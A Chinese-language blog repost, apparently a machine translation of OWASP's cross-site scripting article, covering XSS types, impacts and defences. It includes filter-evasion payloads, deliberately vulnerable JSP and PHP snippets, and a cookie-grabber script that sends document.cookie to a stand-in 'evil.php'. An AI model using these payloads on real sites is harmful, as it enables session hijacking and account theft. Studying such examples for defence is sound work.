优秀的编程知识分享平台

网站首页 > 技术文章 正文

黑客:跨站点脚本(XSS)攻防(xss跨站脚本漏洞主要影响的是客户端浏览用户对吗)

nanyue 2024-07-18 22:27:39 技术文章 5 ℃

概观

跨站点脚本攻击(XSS)攻击是一种注入,其中恶意脚本被注入到其他良性可信的网站中。当攻击者使用Web应用程序将恶意代码(通常以浏览器侧脚本的形式)发送给不同的最终用户时,会发生XSS攻击。允许这些攻击成功的缺陷非常普遍,并且发生在Web应用程序使用来自用户的输入内的任何地方,而不会对其生成的输出进行验证或编码。

攻击者可以使用XSS向恶意用户发送恶意脚本。最终用户的浏览器无法知道该脚本不应该被信任,并且会执行该脚本。因为它认为脚本来自可信来源,所以恶意脚本可以访问浏览器保留并与该站点一起使用的任何cookie,会话令牌或其他敏感信息。这些脚本甚至可以重写HTML页面的内容。

描述

跨站点脚本(XSS)攻击发生在以下情况下:

  1. 数据通过不受信任的来源进入Web应用程序,通常是Web请求。

  2. 数据包含在发送给Web用户而不经过恶意内容验证的动态内容中。

发送到Web浏览器的恶意内容通常采用JavaScript段的形式,但也可能包括HTML,Flash或浏览器可能执行的任何其他类型的代码。基于XSS的各种攻击几乎是无限的,但它们通常包括向攻击者发送私密数据(如Cookie或其他会话信息),将受害者重定向到由攻击者控制的网页内容,或在用户计算机上执行其他恶意操作在易受攻击的网站的幌子下。

存储和反映的XSS攻击

XSS攻击通常可以分为两类:存储和反映。还有第三种类型的XSS攻击,称为DOM Based XSS,在这里单独讨论。

存储的XSS攻击

存储的攻击是那些注入的脚本永久存储在目标服务器上的,例如数据库,消息论坛,访问者日志,注释字段等。受害者然后在服务器请求存储时从服务器检索恶意脚本信息。存储的XSS有时也被称为持久性或I型XSS。

反映的XSS攻击

反射攻击是那些注入脚本反映在Web服务器上的,例如错误消息,搜索结果或任何其他响应,包括发送到服务器的部分或全部输入作为请求的一部分。反射的攻击通过其他途径传递给受害者,例如电子邮件或其他网站。当用户被欺骗点击恶意链接,提交特制表单或者甚至浏览恶意网站时,注入的代码会传播到易受攻击的网站,这反映了攻击回到用户的浏览器。然后浏览器执行代码,因为它来自“可信”服务器。反映的XSS有时也被称为非持久性或II型XSS。

其他类型的XSS漏洞

除了存储和反映XSS,另一种类型的XSS,DOM基于XSS 于2005年由Amit Klein确定。OWASP建议按照OWASP文章:跨站点脚本类型中所述的XSS分类,其中涵盖所有这些XSS术语,将它们组织成矩阵存储与反射XSS和服务器与客户端XSS,其中DOM基于XSS是客户端XSS的子集。

XSS攻击后果

无论是存储还是反映(或基于DOM的),XSS攻击的结果都是相同的)。不同之处在于有效负载如何到达服务器。不要被愚蠢地认为“只读”或“小册子”网站不容易受到严重反映的XSS攻击。XSS可能会给最终用户带来各种问题,严重程度从烦恼到完全帐户妥协。最严重的XSS攻击涉及泄露用户的会话cookie,允许攻击者劫持用户的会话并接管该帐户。其他破坏性攻击包括披露最终用户文件,安装特洛伊木马程序,将用户重定向到其他页面或站点,或修改内容的显示。允许攻击者修改新闻稿或新闻项目的XSS漏洞可能会影响公司的股价或降低消费者信心。制药网站上的XSS漏洞可能允许攻击者修改导致剂量过量的剂量信息。有关这些类型的攻击的更多信息,请参阅Content_Spoofing。

如何确定你是否脆弱

XSS缺陷很难从Web应用程序中识别和删除。找到缺陷的最佳方法是对代码执行安全审查,并搜索所有来自HTTP请求的输入可能进入HTML输出的地方。请注意,各种不同的HTML标签可用于传输恶意JavaScript。Nessus,Nikto和其他一些可用的工具可以帮助扫描网站上的这些缺陷,但只能从表面上刮擦。如果某个网站的某个部分很脆弱,那么很可能还有其他问题。

如何保护自己

OWASP XSS预防备忘单介绍了针对XSS的主要防御措施。

此外,关闭所有Web服务器上的HTTP TRACE支持也是至关重要的。即使在客户端禁用或不支持document.cookie的情况下,攻击者也可以通过Javascript窃取cookie数据。当用户向论坛发布恶意脚本时会挂载此攻击,因此当其他用户单击该链接时,会触发异步HTTP跟踪调用,从服务器收集用户的Cookie信息,然后将其发送到另一个收集的恶意服务器cookie信息使攻击者可以挂载会话劫持攻击。通过在所有网络服务器上删除对HTTP TRACE的支持,这可以轻松缓解。

该OWASP ESAPI项目已经产生了一套可重复使用的安全组件的多国语言,包括验证和转义程序,以防止参数篡改和XSS攻击的注入。此外,OWASP WebGoat Project培训应用程序还提供跨站脚本和数据编码课程。

备用XSS语法

XSS在属性中使用脚本

可以在不使用<script> </ script>标记的情况下进行XSS攻击。其他标签将完全相同的事情,例如:

<body onload=alert('test1')>

或其他属性如:onmouseover,onerror。

onmouseover

<b onmouseover=alert('Wufff!')>click me!</b>

onerror

<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>

通过编码URI方案使用脚本的XSS

如果我们需要隐藏Web应用程序过滤器,我们可能会尝试对字符串字符进行编码,例如:a =&#X41(UTF-8)并将其用于IMG标记中:

<IMG SRC=j&#X41vascript:alert('test2')>

有许多不同的UTF-8编码符号给了我们更多的可能性。

XSS使用代码编码

我们可以用base64编码我们的脚本,并将其放置在META标记中。这样我们完全摆脱了alert()。有关此方法的更多信息可以在RFC 2397中找到

<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">

这些和其他的例子可以在OWASP XSS过滤漏洞作弊表中找到,它是真正的备用XSS语法攻击的百科全书。

例子

跨站脚本攻击可能发生在任何可能允许恶意用户将未经调整的材料发布到可信网站以供其他有效用户使用的地方。

最常见的例子可以在提供基于web的邮件列表式功能的公告栏网站中找到。

例1

以下JSP代码段从HTTP请求中读取雇员ID eid并将其显示给用户。

<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>

如果eid仅包含标准字母数字文本,则此示例中的代码正确运行。如果eid的值包含元字符或源代码,则该代码将由Web浏览器在显示HTTP响应时执行。

最初这似乎不是一个很大的漏洞。毕竟,为什么有人会输入一个导致恶意代码在自己的计算机上运行的URL?真正的危险是攻击者会创建恶意URL,然后使用电子邮件或社会工程技巧诱骗受害者访问URL的链接。当受害者点击链接时,他们无意中通过易受攻击的Web应用程序将恶意内容反映回自己的计算机。这种利用易受攻击的Web应用程序的机制称为反射XSS。

例2

以下JSP代码段为具有给定ID的员工查询数据库并打印相应的员工姓名。

<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
%>
Employee Name: <%= name %>

如示例1中所示,当代码的名称行为良好时,此代码正常运行,但如果不符合规则,则不会执行任何操作。同样,这段代码看起来危险性较小,因为名称的值是从数据库中读取的,数据库的内容显然是由应用程序管理的。但是,如果名称的值来自用户提供的数据,那么数据库可能成为恶意内容的渠道。如果没有对存储在数据库中的所有数据进行适当的输入验证,攻击者就可以在用户的Web浏览器中执行恶意命令。这种被称为Stored XSS的攻击类型特别隐蔽,因为由数据存储造成的间接性使得识别威胁变得更加困难并且增加了攻击会影响多个用户的可能性。XSS以这种形式开始,其网站为访客提供“留言”。攻击者会在他们的留言簿条目中包含JavaScript,并且留言页面的所有后续访问者都会执行恶意代码。

如示例所示,XSS漏洞是由HTTP响应中包含未验证数据的代码引起的。XSS攻击可以通过三种方式到达受害者:

  • 如例1所示,直接从HTTP请求中读取数据并将其反映回HTTP响应中。当攻击者导致用户向易受攻击的Web应用程序提供危险内容时,反射XSS攻击就会发生,然后反馈给用户并由Web浏览器执行。传送恶意内容的最常见机制是将其作为参数包含在公开张贴或通过电子邮件直接发送给受害人的URL中。以这种方式构建的URL构成许多网络钓鱼计划的核心,攻击者说服受害者访问指向易受攻击网站的URL。在网站将攻击者的内容反映给用户后,内容就会被执行并继续从用户的网站传输隐私信息,例如可能包含会话信息的Cookie,

  • 如示例2中所示,应用程序将危险数据存储在数据库或其他受信任的数据存储中。随后将危险数据读回到应用程序并包含在动态内容中。存储的XSS攻击发生在攻击者将危险内容注入到稍后被读取并包含在动态内容中的数据存储中时。从攻击者的角度来看,注入恶意内容的最佳位置是显示给许多用户或特别感兴趣的用户的区域。有趣的用户通常在应用程序中拥有更高的权限,或与敏感数据交互,这对攻击者来说很有价值。如果其中一个用户执行恶意内容,则攻击者可能能够代表用户执行特权操作或获得对属于该用户的敏感数据的访问权限。

  • 应用程序外部的源将危险数据存储在数据库或其他数据存储中,然后危险数据作为可信数据读回应用程序并包含在动态内容中。

攻击示例

示例1:Cookie抓取器

如果应用程序不验证输入数据,则攻击者可以轻松从已验证的用户窃取cookie。所有攻击者所要做的就是在任何发布的输入(即:留言板,私人消息,用户配置文件)中放置以下代码:

<SCRIPT type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</SCRIPT>

上面的代码会传递cookie的转义内容(根据RFC内容必须在通过HTTP协议使用GET方法发送之前将其转义)传递给“cakemonster”变量中的evil.php脚本。攻击者然后检查他的evil.php脚本的结果(cookie抓取者脚本通常将cookie写入文件)并使用它。

错误页面示例

假设我们有一个错误页面,它处理对一个不存在的页面的请求,一个经典的404错误页面。我们可以使用下面的代码作为示例来告知用户缺少什么特定的页面:

<html>
<body>
<? php
print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);
?>
</body>
</html>

让我们看看它是如何工作的:

http://testsite.test/file_which_not_exist

作为回应,我们得到:

Not found: /file_which_not_exist

现在我们将尝试强制错误页面包含我们的代码:

HTTP://testsite.test/ <SCRIPT>警报( “TEST”); </ SCRIPT>

结果是:

Not found: / (but with JavaScript code <script>alert("TEST");</script>)

我们已经成功地注入了代码,我们的XSS!这是什么意思?例如,我们可能会利用这个漏洞来试图窃取用户的会话cookie。

Tags:

最近发表
标签列表